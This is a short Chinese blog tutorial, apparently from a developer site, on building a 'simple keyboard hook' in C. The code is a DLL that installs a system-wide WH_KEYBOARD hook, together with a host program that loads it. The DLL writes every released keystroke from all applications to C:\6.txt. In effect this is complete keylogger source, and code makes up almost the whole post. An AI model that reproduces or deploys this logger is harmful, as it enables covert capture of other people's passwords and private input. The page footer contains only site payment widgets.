简易键盘钩子

创建一个dll文件

#include <windows.h>
#include <stdio.h>

HHOOK g_hMouse=NULL;


//保存文本
void SaveTxt(char *c )
{

FILE *pFile=fopen("C:\\6.txt","a+");
fwrite(c,1,1,pFile);
fclose(pFile);


}

LRESULT CALLBACK WINAPI LauncherHook( int nCode,WPARAM wParam,LPARAM lParam)
{

LRESULT Result=CallNextHookEx(g_hMouse,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)  //lParam第32为1时。为释放按键
{
char c[1];
c[0]=wParam;
SaveTxt(c);
}
}
return Result;
}




__declspec(dllexport) void WINAPI SetHook()  
{
g_hMouse=SetWindowsHookEx(WH_KEYBOARD,LauncherHook,GetModuleHandle("dllhook.dll"),0);


if(g_hMouse==NULL)
MessageBox(NULL,TEXT("无法安装钩子"),TEXT("警告!"),MB_OK);
else
MessageBox(NULL,TEXT("安装钩子"),TEXT("警告!"),MB_OK); 


}


接着创建一个主程序

#include <windows.h>


#pragma comment(lib, "D:\\My Documents\\Visual Studio 2008\\Projects\\dllhook\\Debug\\dllhook.lib")
_declspec(dllimport) void WINAPI  SetHook();




void main()
{
SetHook();
while(1)
{


}



}


注意需要将生成的dll文件放在主程序的exe文件里面,以供调用。记录的文件放在一个txt里面,存在c盘。

这样一个简单的键盘钩子就搞定了。




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值